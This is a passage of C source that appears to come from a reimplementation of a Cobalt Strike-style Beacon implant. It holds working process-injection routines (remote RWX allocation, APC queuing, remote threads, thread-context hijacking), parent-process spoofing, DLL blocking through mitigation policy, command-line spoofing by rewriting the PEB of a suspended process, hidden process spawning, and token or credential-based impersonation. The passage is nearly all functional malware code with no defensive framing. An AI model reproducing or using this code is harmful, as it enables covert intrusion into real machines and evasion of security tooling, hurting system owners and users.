FN_NTDLL_NTQUEUEAPCTHREAD _NtQueueApcThread = (FN_NTDLL_NTQUEUEAPCTHREAD)GetProcAddress(hModule, "NtQueueApcThread");
SIZE_T payloadSize = (DWORD64)NtQueueApcThreadProc_End - (DWORD64)NtQueueApcThreadProc;
SIZE_T dwSize = sizeof(APC_ROUTINE_CONTEXT) + payloadSize;
PAPC_ROUTINE_CONTEXT pAllocedData = malloc(dwSize);
if (!pAllocedData)
return FALSE;
APC_ROUTINE_CONTEXT data = (APC_ROUTINE_CONTEXT){ lpStartAddress, lpParameter, CreateThread, FALSE };
*pAllocedData = data;
memcpy(pAllocedData->payload, (PVOID)NtQueueApcThreadProc, payloadSize);
APC_ROUTINE_CONTEXT* lpApcContext = VirtualAllocEx(injection->process, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T wrote;
if (lpApcContext && WriteProcessMemory(injection->process, lpApcContext, pAllocedData, dwSize, &wrote) && wrote != dwSize)
lpApcContext = NULL;
free(pAllocedData);
if ((char*)lpApcContext == NULL)
return FALSE;
// Create a toolhelp snapshot of the process
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
// Check if snapshot creation failed or there are no threads in the process
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (hSnapshot == INVALID_HANDLE_VALUE || hSnapshot == NULL || !Thread32First(hSnapshot, &te32))
return FALSE;
// Iterate through the threads in the snapshot
do
{
// Check if the thread is in the process we want to inject into
if (te32.th32OwnerProcessID != injection->pid)
continue;
// Open the thread
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te32.th32ThreadID);
if (hThread == NULL)
continue;
// Call the NtQueueApcThread function in the target process
(_NtQueueApcThread)(hThread, lpApcContext->payload, lpApcContext, NULL, NULL);
// Close the thread
CloseHandle(hThread);
} while (Thread32Next(hSnapshot, &te32));
// Close the snapshot handle
CloseHandle(hSnapshot);
// Sleep to give the thread time to execute
Sleep(200);
// Read the APC thread data from the allocated memory
SIZE_T read;
if (!ReadProcessMemory(injection->process, lpApcContext, &data, sizeof(APC_ROUTINE_CONTEXT), &read) || read != sizeof(APC_ROUTINE_CONTEXT))
return FALSE;
// Return TRUE if the thread was executed
if (data.isExecuted)
return TRUE;
// Mark the thread as executed and write it back to the allocated memory
data.isExecuted = TRUE;
WriteProcessMemory(injection->process, lpApcContext, &data, sizeof(APC_ROUTINE_CONTEXT), &read);
return FALSE;
}
#define METHOD_CREATE_THREAD 1
#define METHOD_SET_THREAD_CONTEXT 2
#define METHOD_CREATE_REMOTE_THREAD 3
#define METHOD_RTL_CREATE_USER_THREAD 4
#define METHOD_NT_QUEUE_APC_THREAD 5
#define METHOD_CREATE_THREAD_S 6
#define METHOD_CREATE_REMOTE_THREAD_S 7
#define METHOD_NT_QUEUE_APC_THREAD_S 8
BOOL ExecuteViaCreateRemoteThread_s(DWORD option, HANDLE hProcess, LPVOID lpAddress, LPVOID lpParameter, LPCSTR lpModuleName, LPCSTR lpProcName, DWORD ordinal)
{
HANDLE hModule = GetModuleHandleA(lpModuleName);
BYTE* processAddress = (BYTE*)GetProcAddress(hModule, lpProcName);
if (!processAddress)
return FALSE;
BYTE* finalAddress = processAddress + ordinal;
HANDLE hThread;
if (option == METHOD_CREATE_REMOTE_THREAD_S)
{
hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)finalAddress, lpParameter, CREATE_SUSPENDED, NULL);
}
else if (option == METHOD_CREATE_THREAD_S)
{
hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)finalAddress, lpParameter, CREATE_SUSPENDED, NULL);
}
else
{
return FALSE;
}
if (!hThread)
return FALSE;
CONTEXT context;
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &context))
return FALSE;
#if IS_X64()
context.Rcx = (DWORD64)lpAddress;
#else
context.Eax = (DWORD)lpAddress;
#endif
if (!SetThreadContext(hThread, &context))
return FALSE;
return ResumeThread(hThread) != -1;
}
BOOL ExecuteViaSetThreadContext(INJECTION* injection, CHAR* lpStartAddress, LPVOID lpParameter)
{
HANDLE hThread = injection->thread;
#if IS_X64()
if (!injection->isProcessX64)
{
WOW64_CONTEXT context;
context.ContextFlags = CONTEXT_INTEGER;
if (!Wow64GetThreadContext(hThread, &context))
return FALSE;
context.Eax = (DWORD)lpStartAddress;
if (!Wow64SetThreadContext(hThread, &context))
return FALSE;
}
else
#endif
{
CONTEXT context;
context.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(hThread, &context))
return FALSE;
#if IS_X64()
context.Rcx = (DWORD64)lpStartAddress;
context.Rdx = (DWORD64)lpParameter;
#else
context.Eax = (DWORD)lpStartAddress;
#endif
if (!SetThreadContext(hThread, &context))
return FALSE;
}
return ResumeThread(hThread) != -1;
}
BOOL ExecuteViaCreateThread(INJECTION* injection, CHAR* lpStartAddress, LPVOID lpParameter)
{
return CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)lpStartAddress, lpParameter, 0, NULL) != NULL;
}
BOOL ExecuteInjection(INJECTION* injection, CHAR* lpStartAddress, DWORD offset, LPVOID lpParameter)
{
datap parser;
BeaconDataParse(&parser, S_PROCINJ_EXECUTE, 128);
SHORT ordinal; CHAR* lpModuleName; CHAR* lpProcName;
while (char method = BeaconDataByte(&parser))
{
switch (method)
{
case METHOD_CREATE_REMOTE_THREAD:
if (ExecuteViaCreateRemoteThread(injection->process, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_RTL_CREATE_USER_THREAD:
if (ExecuteViaRtlCreateUserThread(injection->process, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_NT_QUEUE_APC_THREAD_S:
if (!injection->isTemporary || !injection->isSameArchAsHostSystem)
continue;
if (ExecuteViaNtQueueApcThread_s(injection, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_CREATE_REMOTE_THREAD_S:
ordinal = BeaconDataShort(&parser);
lpModuleName = BeaconDataStringPointer(&parser);
lpProcName = BeaconDataStringPointer(&parser);
if (!injection->isSameArchAsHostSystem)
continue;
if (ExecuteViaCreateRemoteThread_s(METHOD_CREATE_REMOTE_THREAD_S, injection->process, lpStartAddress + offset, lpParameter, lpModuleName, lpProcName, ordinal))
return TRUE;
break;
case METHOD_CREATE_THREAD_S:
ordinal = BeaconDataShort(&parser);
lpModuleName = BeaconDataStringPointer(&parser);
lpProcName = BeaconDataStringPointer(&parser);
if (!injection->isSamePid)
continue;
if (ExecuteViaCreateRemoteThread_s(METHOD_CREATE_THREAD_S, injection->process, lpStartAddress + offset, lpParameter, lpModuleName, lpProcName, ordinal))
return TRUE;
break;
case METHOD_NT_QUEUE_APC_THREAD:
if (injection->isSamePid || !injection->isSameArchAsHostSystem || injection->isTemporary)
continue;
if (ExecuteViaNtQueueApcThread(injection, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_SET_THREAD_CONTEXT:
if (!injection->isTemporary)
continue;
if (ExecuteViaSetThreadContext(injection, lpStartAddress + offset, lpParameter))
return TRUE;
break;
case METHOD_CREATE_THREAD:
if (!injection->isSamePid)
continue;
if (ExecuteViaCreateThread(injection, lpStartAddress + offset, lpParameter))
return TRUE;
break;
default:
return FALSE;
}
}
}
void InjectAndExecute(INJECTION* injection, char* payload, int size, int pOffset, char* parameter)
{
char* target;
if (injection->isSamePid)
target = InjectLocally(payload, size);
else
target = InjectRemotely(injection, payload, size);
if (!target)
return;
if (!ExecuteInjection(injection, target, pOffset, parameter))
{
DWORD lastError = GetLastError();
LERROR("Could not create remote thread in %d: %s", injection->pid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_CREATE_REMOTE_THREAD_FAILED, injection->pid, lastError);
}
}
#define REFLECTIVE_LOADER_SIZE 51200
void BeaconInjectProcessInternal(PROCESS_INFORMATION* processInfo, HANDLE hProcess, int pid, char* payload, int pLen,
int pOffset, char* str, int aLen)
{
INJECTION injection;
injection.pid = pid;
injection.process = hProcess;
injection.isX64 = IS_X64();
injection.isProcessX64 = IsProcess64Bit(hProcess);
injection.isSameArchAsHostSystem = injection.isProcessX64 == IS_X64();
injection.isSamePid = pid == GetCurrentProcessId();
injection.isTemporary = processInfo != NULL;
injection.thread = injection.isTemporary ? processInfo->hThread : NULL;
PAYLOAD* maskedPayload = (PAYLOAD*)payload;
if (pLen >= REFLECTIVE_LOADER_SIZE && maskedPayload->mzSignature == IMAGE_DOS_SIGNATURE && maskedPayload->smartInjectMagic == 0xF4F4F4F4)
{
if (injection.isSameArchAsHostSystem)
{
maskedPayload->pGetProcAddress = GetProcAddress;
maskedPayload->pLoadLibraryA = LoadLibraryA;
maskedPayload->pVirtualAlloc = VirtualAlloc;
maskedPayload->pVirtualProtect = VirtualProtect;
maskedPayload->keyPtrMagic = 0xF00D;
}
}
datap parser;
BeaconDataParse(&parser, IS_X64() ? S_PROCINJ_TRANSFORM_X64 : S_PROCINJ_TRANSFORM_X86, 256);
int prependSize = BeaconDataInt(&parser);
char* prepend = BeaconDataPtr(&parser, prependSize);
int appendSize = BeaconDataInt(&parser);
char* append = BeaconDataPtr(&parser, appendSize);
char* parameter;
if (aLen <= 0)
parameter = 0;
else
parameter = InjectRemotely(&injection, str, aLen);
if (prependSize || appendSize)
{
formatp format;
BeaconFormatAlloc(&format, prependSize + appendSize + pLen + 16);
BeaconFormatAppend(&format, prepend, prependSize);
BeaconFormatAppend(&format, payload, pLen);
BeaconFormatAppend(&format, append, appendSize);
pOffset += prependSize;
pLen = BeaconFormatLength(&format);
payload = BeaconFormatOriginal(&format);
InjectAndExecute(&injection, payload, pLen, pOffset, parameter);
BeaconFormatFree(&format);
}
else
{
InjectAndExecute(&injection, payload, pLen, pOffset, parameter);
}
}
BOOL gBlockDlls;
void BlockDlls(char* buffer, int length)
{
datap parser;
BeaconDataParse(&parser, buffer, length);
gBlockDlls = BeaconDataInt(&parser) != 0;
}
LPPROC_THREAD_ATTRIBUTE_LIST ProcThreadAttributeListInit(DWORD dwAttributeCount)
{
// Initialize the process attribute list
SIZE_T size = 0;
InitializeProcThreadAttributeList(NULL, dwAttributeCount, 0, &size);
HANDLE processHeap = GetProcessHeap();
LPVOID attributeList = HeapAlloc(processHeap, 0, size);
if (attributeList == NULL)
return FALSE;
if (!InitializeProcThreadAttributeList(attributeList, dwAttributeCount, 0, &size))
return FALSE;
return attributeList;
}
typedef struct _RUN_UNDER_CONTEXT {
HANDLE handle;
ULONG64 processAttribute;
UINT previousErrorMode;
BOOL(WINAPI* updateProcessAttributes)(struct _RUN_UNDER_CONTEXT*, DWORD, LPPROC_THREAD_ATTRIBUTE_LIST, STARTUPINFO*);
VOID(WINAPI* cleanup)(const struct _RUN_UNDER_CONTEXT*);
} RUN_UNDER_CONTEXT, * PRUN_UNDER_CONTEXT;
BOOL UpdateParentProcessContext(PRUN_UNDER_CONTEXT context, DWORD parentPid, LPPROC_THREAD_ATTRIBUTE_LIST attributeList, STARTUPINFO* si)
{
// Open the parent process with full access
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, parentPid);
if (hProcess == NULL)
{
DWORD lastError = GetLastError();
LERROR("Could not set PID to %d: %s", parentPid, LAST_ERROR_STR(lastError));
BeaconErrorDD(ERROR_SET_PID_FAILED, parentPid, lastError);
return FALSE;
}
// Store the handle to the parent process
context->handle = hProcess;
// Update the process attribute list
if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProcess, sizeof(HANDLE), NULL, NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not update process attribute: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_UPDATE_PROC_THREAD_ATTRIBUTE_LIST_FAILED, lastError);
return FALSE;
}
if (si->hStdOutput && si->hStdError && si->hStdOutput == si->hStdError)
{
DuplicateHandle(GetCurrentProcess(), si->hStdOutput, hProcess, &si->hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
si->hStdError = si->hStdOutput;
}
else
{
if (si->hStdOutput)
{
DuplicateHandle(GetCurrentProcess(), si->hStdOutput, hProcess, &si->hStdOutput, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
}
if (si->hStdError)
{
DuplicateHandle(GetCurrentProcess(), si->hStdError, hProcess, &si->hStdError, 0, TRUE, DUPLICATE_SAME_ACCESS | DUPLICATE_CLOSE_SOURCE);
}
}
return TRUE;
}
void CleanupParentProcessContext(PRUN_UNDER_CONTEXT context)
{
CloseHandle(context->handle);
}
PRUN_UNDER_CONTEXT ParentProcessContextInit(PRUN_UNDER_CONTEXT context)
{
context->handle = INVALID_HANDLE_VALUE;
context->updateProcessAttributes = UpdateParentProcessContext;
context->cleanup = CleanupParentProcessContext;
return context;
}
PRUN_UNDER_CONTEXT UpdateChildProcessContext(PRUN_UNDER_CONTEXT context, DWORD parentPid, LPPROC_THREAD_ATTRIBUTE_LIST attributeList, STARTUPINFO* si)
{
// Set the process attribute for the child process
context->processAttribute = 0x100000000000; // PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
if (!UpdateProcThreadAttribute(attributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &context->processAttribute, sizeof(context->processAttribute), NULL, NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not update process attribute: %s", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_UPDATE_PROC_THREAD_ATTRIBUTE_LIST_FAILED, lastError);
return FALSE;
}
// Set the error mode to prevent error dialogs
if (&SetErrorMode)
context->previousErrorMode = SetErrorMode(SEM_NOOPENFILEERRORBOX | SEM_NOGPFAULTERRORBOX | SEM_FAILCRITICALERRORS);
return TRUE;
}
void CleanupChildProcessContext(PRUN_UNDER_CONTEXT context)
{
// Restore the error mode
if (&SetErrorMode)
SetErrorMode(context->previousErrorMode);
}
PRUN_UNDER_CONTEXT ChildProcessContextInit(PRUN_UNDER_CONTEXT context)
{
context->updateProcessAttributes = UpdateChildProcessContext;
context->cleanup = CleanupChildProcessContext;
return context;
}
typedef struct _RUN_UNDER_CONFIG
{
char* cmd;
int cmdLength;
STARTUPINFO* startupInfo;
PROCESS_INFORMATION* processInfo;
int creationFlags;
BOOL ignoreToken;
} RUN_UNDER_CONFIG;
void ProcThreadAttributeListDestroy(LPVOID lpAttributeList)
{
DeleteProcThreadAttributeList(lpAttributeList);
HeapFree(GetProcessHeap(), 0, lpAttributeList);
}
/**
* @brief Adjusts the command line of a process by replacing it with a new one.
*
* This function is used for adjusting the command line of a process by allocating a new buffer,
* converting the new command to wide characters, and writing it to the process memory.
*/
BOOL ProcessCmdAdjust(PROCESS_INFORMATION* processInfo, EXPANDED_CMD* cmds) {
if(!IsProcess64Bit(processInfo->hProcess))
{
LERROR("x64 Beacon cannot adjust arguments in x86 process");
BeaconErrorNA(ERROR_ADJUST_ARGUMENTS_BY_ARCH_FAILED);
return FALSE;
}
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_INTEGER;
if (!GetThreadContext(processInfo->hThread, &ctx))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not get thread context", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
return FALSE;
}
#if IS_X64()
// Use RDX
DWORD64 reg = ctx.Rdx;
#else
// Use EBX
DWORD64 reg = ctx.Ebx;
#endif
const PEB* peb = (PEB*)reg;
RTL_USER_PROCESS_PARAMETERS processParameters;
if(!ReadProcessMemory(processInfo->hProcess, &peb->ProcessParameters, &processParameters, sizeof(peb->ProcessParameters), NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not read process parameters", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
return FALSE;
}
UNICODE_STRING commandLine = { 0 };
if(!ReadProcessMemory(processInfo->hProcess, &processParameters.CommandLine, &commandLine, sizeof(commandLine), NULL))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not read command line", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
return FALSE;
}
DWORD flOldProtect;
if (!VirtualProtectEx(processInfo->hProcess, commandLine.Buffer, commandLine.MaximumLength, PAGE_READWRITE, &flOldProtect))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not adjust permissions", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
return FALSE;
}
// FIXME: I do not understand why is this freed just only when an error occurs... I'm not sure if this is purposeful or not. Maybe a memory leak?
WCHAR* newCmd = malloc(commandLine.MaximumLength);
memset(newCmd, 0, commandLine.MaximumLength);
if (!toWideChar(cmds->cmd, newCmd, commandLine.MaximumLength / sizeof(WCHAR)))
{
LERROR("Real arguments are longer than fake arguments.");
BeaconErrorNA(ERROR_REAL_FAKE_ARGS_NO_MATCH);
goto cleanup;
}
SIZE_T wrote;
if(!WriteProcessMemory(processInfo->hProcess, commandLine.Buffer, newCmd, commandLine.MaximumLength, &wrote))
{
DWORD lastError = GetLastError();
LERROR("Could not adjust arguments in process: %s - Reason: Could not write new command line", LAST_ERROR_STR(lastError));
BeaconErrorD(ERROR_ADJUST_ARGUMENTS_FAILED, lastError);
goto cleanup;
}
return TRUE;
cleanup:
free(newCmd);
return FALSE;
}
BOOL SpawnProcessWithLogon(RUN_UNDER_CONFIG* runUnderConfig, WCHAR* cmd, const WCHAR* currentDirectory)
{
if (!CreateProcessWithLogonW(
gIdentityUsername,
gIdentityDomain,
gIdentityPassword,
LOGON_NETCREDENTIALS_ONLY,
NULL,
cmd,
runUnderConfig->creationFlags,
NULL,
currentDirectory,
runUnderConfig->startupInfo,
runUnderConfig->processInfo))
{
DWORD lastError = GetLastError();
LERROR("Could not spawn %s (token&creds): %s", execution->cmd, LAST_ERROR_STR(lastError));
BeaconErrorDS(ERROR_SPAWN_TOKEN_AND_CREDS, lastError, runUnderConfig->cmd);
return FALSE;
}
return TRUE;
}
BOOL SpawnProcessWithTokenOrLogon(RUN_UNDER_CONFIG* runUnderConfig)
{
int type;
WCHAR cmd[1024] = { 0 };
WCHAR buffer[1024] = { 0 };
runUnderConfig->startupInfo->lpDesktop = 0;
const WCHAR* lpCurrentDirectory = NULL;
if (toWideChar(runUnderConfig->cmd, cmd, sizeof(cmd)/sizeof(WCHAR)))
{
if (GetCurrentDirectoryW(0, 0) < sizeof(cmd) / sizeof(WCHAR))
{
GetCurrentDirectoryW(sizeof(cmd) / sizeof(WCHAR), buffer);
lpCurrentDirectory = buffer;
}
if (CreateProcessWithTokenW(
gIdentityToken,
LOGON_NETCREDENTIALS_ONLY,
NULL,
cmd,
runUnderConfig->creationFlags,
NULL,
lpCurrentDirectory,
runUnderConfig->startupInfo,
runUnderConfig->processInfo))
{
return TRUE;
}
DWORD lastError = GetLastError();
if (lastError == ERROR_PRIVILEGE_NOT_HELD
&& CreateProcessWithLogonW && gIdentityIsLoggedIn == TRUE)
return SpawnProcessWithLogon(runUnderConfig, cmd, lpCurrentDirectory);
if (lastError == ERROR_INVALID_PARAMETER
&& runUnderConfig->startupInfo->cb == sizeof(STARTUPINFOEXA) && CreateProcessWithLogonW)
{
LERROR("Could not spawn %s (token) with extended startup information. Reset ppid, disable blockdlls, or rev2self to drop your token.", runUnderConfig->cmd);
type = ERROR_SPAWN_TOKEN_EXTENDED_STARTUPINFO;
}
else
{
LERROR("Could not spawn %s (token): %s", runUnderConfig->cmd, LAST_ERROR_STR(lastError));
type = ERROR_SPAWN_PROCESS_AS_USER_FAILED;
}
BeaconErrorDS(type, lastError, runUnderConfig->cmd);
}
else
{
LERROR("Could not run command(w / token) because of its length of %d", runUnderConfig->cmdLength);
BeaconErrorD(ERROR_LENGTHY_WIDECHAR_COMMAND, runUnderConfig->cmdLength);
}
return FALSE;
}
BOOL SpawnProcess(RUN_UNDER_CONFIG* execution)
{
int lastError;
if (!gIdentityToken || execution->ignoreToken)
{
if (!CreateProcessA(
NULL,
execution->cmd,
NULL,
NULL,
TRUE,
execution->creationFlags,
NULL,
NULL,
execution->startupInfo,
execution->processInfo))
{
lastError = GetLastError();
LERROR("Could not spawn %s: %s", execution->cmd, LAST_ERROR_STR(lastError));
BeaconErrorDS(ERROR_SPAWN_PROCESS_FAILED, lastError, execution->cmd);
return FALSE;
}
}
else if (!CreateProcessAsUserA(
gIdentityToken,
NULL,
execution->cmd,
NULL,
NULL,
TRUE,
execution->creationFlags,
NULL,
NULL,
execution->startupInfo,
execution->processInfo))
{
lastError = GetLastError();
if (lastError == ERROR_PRIVILEGE_NOT_HELD && CreateProcessWithTokenW)
{
LWARNING("Could not spawn %s (token): %s", execution->cmd, LAST_ERROR_STR(lastError));
return SpawnProcessWithTokenOrLogon(execution);
}
LERROR("Could not spawn %s (token): %s", execution->cmd, LAST_ERROR_STR(lastError));
BeaconErrorDS(ERROR_SPAWN_PROCESS_AS_USER_FAILED, lastError, execution->cmd);
return FALSE;
}
return TRUE;
}
BOOL RunAsUserInternal(LPCCH domain, LPCCH username, LPCCH password, LPCCH cmd, int creationFlags, LPPROCESS_INFORMATION lpProcessInfo)
{
datap* parser = BeaconDataAlloc(0xA000);
WCHAR* lpCommandLine = BeaconDataPtr(parser, 0x4000);
WCHAR* lpDomain = BeaconDataPtr(parser, 0x400);
WCHAR* lpUsername = BeaconDataPtr(parser, 0x400);
WCHAR* lpPassword = BeaconDataPtr(parser, 0x400);
WCHAR* lpCurrentDirectory = BeaconDataPtr(parser, 0x400);
STARTUPINFOA si = { sizeof(si) };
*lpProcessInfo = { 0 };
GetStartupInfoA(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdInput = 0;
si.hStdOutput = 0;
si.hStdError = 0;
si.lpDesktop = NULL;
toWideChar(cmd, lpCommandLine, 0x4000);
toWideChar(domain, lpDomain, 0x400);
toWideChar(username, lpUsername, 0x400);
toWideChar(password, lpPassword, 0x400);
if (GetCurrentDirectoryW(0, 0) < 0x400)
{
GetCurrentDirectoryW(0x400, lpCurrentDirectory);
}
BOOL result = TRUE;
if (!CreateProcessWithLogonW(
lpUsername,
lpDomain,
lpPassword,
LOGON_WITH_PROFILE,
NULL,
lpCommandLine,
creationFlags | CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
NULL,
lpCurrentDirectory,
(LPSTARTUPINFOW)&si,
lpProcessInfo))
{
DWORD lastError = GetLastError();
LERROR("Could not run %s as %s\\%s: %s", cmd, domain, username, LAST_ERROR_STR(lastError));
BeaconErrorPrintf(ERROR_RUN_AS_USER_FAILED, "%s as %s\\%s: %d", cmd, domain, username, lastError);
result = FALSE;
}
BeaconDataFree(parser);
return result;
}
void RunAsUser(char* buffer, int length)
{
datap* locals = BeaconDataAlloc(0x4C00);
char* cmd = BeaconDataPtr(locals, 0x4000);
char* domain = BeaconDataPtr(locals, 0x400);
char* username = BeaconDataPtr(locals, 0x400);
char* password = BeaconDataPtr(locals, 0x400);
datap parser;
BeaconDataParse(&parser, buffer, length);
if(!BeaconDataStringCopySafe(&parser, cmd, 0x4000))
goto cleanup;
if (!BeaconDataStringCopySafe(&parser, domain, 0x400))
goto cleanup;
if (!BeaconDataStringCopySafe(&parser, username, 0x400))
goto cleanup;
if (!BeaconDataStringCopySafe(&parser, password, 0x400))
goto cleanup;
IdentityRevertToken();
PROCESS_INFORMATION pi;
RunAsUserInternal(domain, username, password, cmd, 0, &pi);
IdentityImpersonateToken();
BeaconCleanupProcess(&pi);
cleanup:
BeaconDataFree(locals);
}
BOOL RunProcessWithAdjustedCmd(RUN_UNDER_CONFIG* execution)
{
EXPANDED_CMD cmds;
if ((execution->creationFlags & CREATE_SUSPENDED) != 0 || ArgumentFindMatch(&cmds, execution->cmd) == FALSE)
return SpawnProcess(execution);
execution->creationFlags |= CREATE_SUSPENDED;
execution->cmd = cmds.fullCmd;
BOOL result = SpawnProcess(execution);
const BOOL couldAdjust = ProcessCmdAdjust(execution->processInfo, &cmds);
if (couldAdjust)
{
ResumeThread(execution->processInfo->hThread);
}
else
{
TerminateProcess(execution->processInfo->hProcess, 0);
result = FALSE;
}
return result;
}
BOOL RunUnder_(RUN_UNDER_CONFIG* runUnderConfig, int parentPid)
{
DWORD count = 0;
if (parentPid)
count++;
if (gBlockDlls)
count++;
if (count == 0)
return RunProcessWithAdjustedCmd(runUnderConfig);
const PPROC_THREAD_ATTRIBUTE_LIST lpAttributeList = ProcThreadAttributeListInit(count);
RUN_UNDER_CONTEXT context;
RUN_UNDER_CONTEXT parentContext = *ParentProcessContextInit(&context);
RUN_UNDER_CONTEXT childContext = *ChildProcessContextInit(&context);
BOOL result = FALSE;
if (!parentPid || parentContext.updateProcessAttributes(
&parentContext,
parentPid,
lpAttributeList,
runUnderConfig->startupInfo))
{
if (!gBlockDlls
|| childContext.updateProcessAttributes(&childContext, parentPid, lpAttributeList, runUnderConfig->startupInfo))
{
STARTUPINFOEXA si_;
si_.StartupInfo = *runUnderConfig->startupInfo;
si_.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si_.lpAttributeList = lpAttributeList;
runUnderConfig->startupInfo = &si_;
runUnderConfig->creationFlags |= EXTENDED_STARTUPINFO_PRESENT;
result = RunProcessWithAdjustedCmd(runUnderConfig);
if (parentPid)
parentContext.cleanup(&parentContext);
if (gBlockDlls)
childContext.cleanup(&childContext);
}
}
ProcThreadAttributeListDestroy(lpAttributeList);
return result;
}
BOOL RunUnder(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCESS_INFORMATION* processInfo, int creationFlags, BOOL ignoreToken, int parentPid)
{
RUN_UNDER_CONFIG runUnderConfig = { cmd, cmdLength, startupInfo, processInfo, creationFlags, ignoreToken };
return RunUnder_(&runUnderConfig, 0);
}
BOOL RunUnderParent(char* cmd, int cmdLength, STARTUPINFO* startupInfo, PROCESS_INFORMATION* processInfo, int creationFlags, BOOL ignoreToken)
{
return RunUnder(cmd, cmdLength, startupInfo, processInfo, creationFlags, ignoreToken, gParentPid);
}
void RunUnderPid(char* buffer, int length)
{
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
GetStartupInfoA(&si);
si.wShowWindow = SW_HIDE;
si.hStdInput = 0;
si.hStdOutput = 0;
si.hStdError = 0;
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
#define MAX_CMD 0x2000
datap* locals = BeaconDataAlloc(MAX_CMD);
char* cmd = BeaconDataPtr(locals, MAX_CMD);
datap parser;
BeaconDataParse(&parser, buffer, length);
int pid = BeaconDataInt(&parser);
BeaconDataStringCopySafe(&parser, cmd, MAX_CMD);
RunUnder(cmd, strlen(cmd), &si, &pi, CREATE_NEW_CONSOLE, FALSE, pid);
BeaconCleanupProcess(&pi);
BeaconDataFree(locals);
}
void BeaconInjectProcess(HANDLE hProcess, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)
{
BeaconInjectProcessInternal(NULL, hProcess, pid, payload, p_len, p_offset, arg, a_len);
}
void BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len)
{
BeaconInjectProcessInternal(pInfo, pInfo->hProcess, pInfo->dwProcessId, payload, p_len, p_offset, arg, a_len);
}
BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* si, PROCESS_INFORMATION* pInfo)
{
char cmd[MAX_PATH];
SpawnToFix(x86, cmd);
return RunUnderParent(cmd, strlen(cmd), si, pInfo, CREATE_SUSPENDED, ignoreToken);
}
void BeaconCleanupProcess(PROCESS_INFORMATION* pInfo)
{
if (pInfo->hProcess)
CloseHandle(pInfo->hProcess);
if (pInfo->hThread)
CloseHandle(pInfo->hThread);
}
void Execute(char* buffer, int length)
{
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
GetStartupInfoA(&si);
si.wShowWindow = SW_HIDE;
memset(&si.hStdInput, 0, sizeof(si.hStdInput));
memset(&si.hStdOutput, 0, sizeof(si.hStdOutput));
memset(&si.hStdError, 0, sizeof(si.hStdError));
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
#define MAX_CMD 1024
if (length >= MAX_CMD)
return;
char cmd[MAX_CMD];
strncpy(cmd, buffer, length);
cmd[length] = 0;
RunUnderParent(cmd, length, &si, &pi, 0, FALSE);
BeaconCleanupProcess(&pi);
}
BOOL SpawnAsUserInternal(BOOL x86, char* lpDomain, char* lpUsername, char* lpPassword, PROCESS_INFORMATION* lpProcessInfo)
{
char cmd[256];
SpawnToFix(x86, cmd);
return RunAsUserInternal(lpDomain, lpUsername, lpPassword, cmd, CREATE_SUSPENDED, lpProcessInfo);
}
void SpawnAsUser(char* buffer, int length, BOOL x86)
{
#define MAX_DOMAIN 1024
#define MAX_USERNAME 1024
#define MAX_PASSWORD 1024
datap* locals = BeaconDataAlloc(MAX_DOMAIN + MAX_USERNAME + MAX_PASSWORD);
char* domain = BeaconDataPtr(locals, MAX_DOMAIN);
char* username = BeaconDataPtr(locals, MAX_USERNAME);
char* password = BeaconDataPtr(locals, MAX_PASSWORD);
datap parser;
BeaconDataParse(&parser, buffer, length);
if (!BeaconDataStringCopySafe(&parser, domain, MAX_DOMAIN))
goto cleanup;
if (!BeaconDataStringCopySafe(&parser, username, MAX_USERNAME))
goto cleanup;
